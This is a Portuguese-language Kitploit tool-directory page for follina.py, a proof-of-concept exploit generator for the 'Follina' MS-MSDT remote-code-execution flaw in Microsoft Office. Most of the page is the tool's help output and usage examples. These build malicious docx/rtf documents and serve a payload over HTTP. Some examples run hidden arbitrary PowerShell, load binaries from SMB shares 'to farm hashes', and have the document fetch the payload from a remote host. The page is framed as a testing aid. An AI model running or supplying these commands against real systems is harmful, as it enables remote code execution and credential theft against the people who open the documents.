Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
follina.py — POC para replicar a vulnerabilidade 'Follina' completa de RCE do Office para fins de teste | Kitploit
Ferramentas/GitHubGitHub/chvancooten/follina.py
Geração de PayloadsExploraçãoTestes de PenetraçãoRed Teaming
GitHubchvancooten/follina.py

follina.py

POC para replicar a vulnerabilidade 'Follina' completa de RCE do Office para fins de teste

Ver Repositório
1.1k248há 3 anosRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

'Follina' RCE n-day do MS-MSDT no Microsoft Office

POC rápido para replicar a vulnerabilidade de RCE do Office 'Follina' para fins de teste local. A execução do script gerará um arquivo de payload clickme.docx (ou clickme.rtf) no seu diretório de trabalho atual e iniciará um servidor web com o arquivo de payload (www/exploit.html). Os parâmetros do payload e do servidor web são configuráveis (veja a ajuda e os exemplos).

⚠ NÃO USE EM PRODUÇÃO OU VOCÊ SERÁ CONSIDERADO UM IDIOTA

Uso:

root@kitploit:~
$ python .\follina.py -h
usage: follina.py [-h] -m {command,binary} [-b BINARY] [-c COMMAND] -t {rtf,docx} [-u URL] [-H HOST] [-P PORT]

options:
  -h, --help            show this help message and exit

Required Arguments:
  -m {command,binary}, --mode {command,binary}
                        Execution mode, can be "binary" to load a (remote) binary, or "command" to run an encoded PS command

Binary Execution Arguments:
  -b BINARY, --binary BINARY
                        The full path of the binary to run. Can be local or remote from an SMB share

Command Execution Arguments:
  -c COMMAND, --command COMMAND
                        The encoded command to execute in "command" mode

Optional Arguments:
  -t {rtf,docx}, --type {rtf,docx}
                        The type of payload to use, can be "docx" or "rtf"
  -u URL, --url URL     The hostname or IP address where the generated document should retrieve your payload, defaults to "localhost". Disables web server if custom URL scheme or path are specified
  -H HOST, --host HOST  The interface for the web server to listen on, defaults to all interfaces (0.0.0.0)
  -P PORT, --port PORT  The port to run the HTTP server on, defaults to 80

Exemplos:

root@kitploit:~
# Execute a local binary
python .\follina.py -t docx -m binary -b \windows\system32\calc.exe

# On linux you may have to escape backslashes
python .\follina.py -t rtf -m binary -b \\windows\\system32\\calc.exe

# Execute a binary from a file share (can be used to farm hashes 👀)
python .\follina.py -t docx -m binary -b \\localhost\c$\windows\system32\calc.exe

# Execute an arbitrary powershell command
python .\follina.py -t rtf -m command -c "Start-Process c:\windows\system32\cmd.exe -WindowStyle hidden -ArgumentList '/c echo owned > c:\users\public\owned.txt'"

# Run the web server on the default interface (all interfaces, 0.0.0.0), but tell the malicious document to retrieve it at http://1.2.3.4/exploit.html
python .\follina.py -t docx -m binary -b \windows\system32\calc.exe -u 1.2.3.4

# Only run the webserver on localhost, on port 8080 instead of 80
python .\follina.py -t rtf -m binary -b \windows\system32\calc.exe -H 127.0.0.1 -P 8080

Pessoal legal

Agradecimentos a Kevin Beaumont por sua análise original do problema, @KevTheHermit por compartilhar sua POC, e John Hammond pelo trabalho adicional na análise dos requisitos do payload. Agradecimentos especiais a @mkolsek pelo template com suporte ao Office 2019, e @theluemmel por compartilhar sua versão do payload comigo.

Baixar ferramenta